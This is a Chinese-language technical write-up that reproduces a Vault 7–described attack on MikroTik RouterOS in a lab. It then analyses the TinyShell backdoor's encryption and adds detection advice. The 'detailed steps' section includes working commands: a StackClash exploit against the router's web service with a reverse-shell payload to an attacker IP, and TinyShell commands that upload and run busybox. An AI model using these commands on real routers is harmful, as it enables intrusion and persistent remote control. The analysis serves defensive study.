CIA组织MikroTik软路由攻击场景复现及后门加解密剖析
字数 1837 2025-08-05 08:20:05
CIA组织MikroTik软路由攻击场景复现及后门加解密剖析
概述
本文档详细剖析了CIA组织针对MikroTik路由器的攻击技术,基于"Vault 7"泄露文档中的信息,完整复现了攻击场景并深入分析了TinyShell后门的技术原理。
背景信息
- Vault 7泄露文档:2017年由维基解密曝光的CIA机密文件,包含8700余份文件,揭示了CIA对各类设备的入侵技术
- 攻击目标:MikroTik路由器,利用其RouterOS系统中的漏洞植入后门
- 攻击工具:
- Chimay Red:针对MikroTik RouterOS系统中www程序的漏洞利用工具
- TinyShell:轻量级网络设备后门程序,支持文件传输和远程控制
环境搭建
MikroTik虚拟机配置
- 下载MikroTik RouterOS 6.38.4版本
- 通过VMware安装虚拟机
- 配置IP地址:
# 登录信息 用户名: admin 密码: 空 # 配置命令 ip address add address=192.168.109.200/24 interface=ether1
漏洞利用工具准备
-
Chimay-Red:
- 下载地址:https://github.com/BigNerd95/Chimay-Red
- 功能:利用MikroTik RouterOS漏洞上传并执行后门
-
TinyShell:
- 开源项目:https://github.com/orangetw/tsh
- 编译选项:
- 静态编译(适配MikroTik环境)
- 正向/反向连接模式(通过修改tsh.h文件配置)
攻击场景复现
完整攻击流程
- 使用Chimay-Red上传TinyShell后门
- 使用TinyShell控制端连接后门
- 验证shell权限
- 上传busybox增强系统功能
- 通过busybox执行恶意操作
详细操作步骤
-
上传并执行TinyShell后门:
{ echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/bash\n"' tshd | sed -e "s/x //g"; echo "chmod 777 /ram/bash"; echo "./ram/bash"; } | nc -l -q 0 -p 2345; ./StackClash_x86.py 192.168.109.200 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.109.140 2345 < /ram/f | /bin/bash > /ram/f" -
连接TinyShell确认权限:
./tsh 192.168.109.200 -
上传busybox:
./tsh 192.168.109.200 put busybox-i486 /ram/ -
使用busybox执行命令:
./tsh 192.168.109.200 cd /ram chmod 777 busybox-i486 ./busybox-i486
工具选择原因
-
Chimay-Red的局限性:
- 通信明文传输
- 操作不便(需退出shell才能上传文件)
-
TinyShell优势:
- 通信加密
- 支持命令补全
- 内置文件传输功能
TinyShell技术分析
功能模块
-
文件下载:
- 功能函数:
tshd_get_file - 实现从受控端下载文件到控制端
- 功能函数:
-
文件上传:
- 功能函数:
tshd_put_file - 实现从控制端上传文件到受控端
- 功能函数:
-
Shell执行:
- 功能函数:
tshd_runshell - 提供交互式shell环境
- 功能函数:
-
外联通信:
- 核心函数:
pel_send_msg,pel_recv_msg - 使用SHA1和AES算法加密通信
- 核心函数:
通信模型
-
初始化阶段:
- 生成两个20字节的IV(IV1和IV2)
- 基于当前时间和进程ID通过SHA1计算
- 发送40字节的IV1+IV2数据
- 生成两个20字节的IV(IV1和IV2)
-
密钥生成:
- 发送密钥:
SHA1(key + IV1)[:16] - 接收密钥:
SHA1(key + IV2)[:16] - 初始IV:
- 发送IV:IV1的前16字节
- 接收IV:IV2的前16字节
- 发送密钥:
-
挑战验证:
- 交换固定挑战值:
\x58\x90\xAE\x86\xF1\xB9\x1C\xF6\x29\x83\x95\x71\x1D\xDE\x58\x0D
- 交换固定挑战值:
-
数据传输:
- 数据结构:
- 2字节:载荷长度
- N字节:实际数据
- 加密方式:
- 每16字节分组加密
- 前一组加密结果作为下一组的IV
- 数据结构:
通信解密实现
解密程序结构
-
核心功能:
- 解析原始通信数据
- 计算会话密钥
- 解密通信内容
-
代码实现(Go语言):
// main.go - 主程序
package main
import (
"awesomeProject5/common"
"encoding/hex"
"fmt"
"io/ioutil"
"strings"
)
func main() {
key := "tinyshell"
// 读取捕获的通信数据
content, err := ioutil.ReadFile("capture.txt")
if err != nil {
fmt.Println("Error reading file:", err)
return
}
// 数据处理和解析...
}
// common.go - 加解密功能
package common
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"encoding/hex"
"fmt"
)
func Decrypt_msg(ciphertext []byte, aeskey []byte, aes_iv *[]byte) {
// 解密实现...
}
func decrypt_pel_msg(ciphertext []byte, aeskey []byte, aes_iv *[]byte) (plaintext []byte) {
// 分组解密实现...
}
func DecryptAES(ciphertext, key, iv []byte) ([]byte, error) {
// AES解密实现...
}
func CalculateSHA1(input []byte) []byte {
// SHA1计算实现...
}
解密流程
- 从捕获数据中提取初始IV(前40字节)
- 计算会话密钥:
send_aes_key = SHA1(key + IV1)[:16]recv_aes_key = SHA1(key + IV2)[:16]
- 设置初始IV:
send_aes_iv = IV1[:16]recv_aes_iv = IV2[:16]
- 解密通信数据:
- 处理2字节长度字段
- 分组解密实际载荷
- 使用前一组密文作为下一组的IV
防御建议
- 及时更新系统:确保RouterOS保持最新版本
- 网络监控:检测异常通信模式(如固定挑战值交换)
- 访问控制:限制路由器的管理接口访问
- 日志审计:监控系统文件变更和异常进程
- 加密通信分析:部署解密探针检测TinyShell特征
总结
本文完整复现了CIA组织对MikroTik路由器的攻击链,深入分析了TinyShell后门的技术实现,特别是其加密通信机制。通过理解这些技术细节,安全人员可以更好地检测和防御此类高级威胁。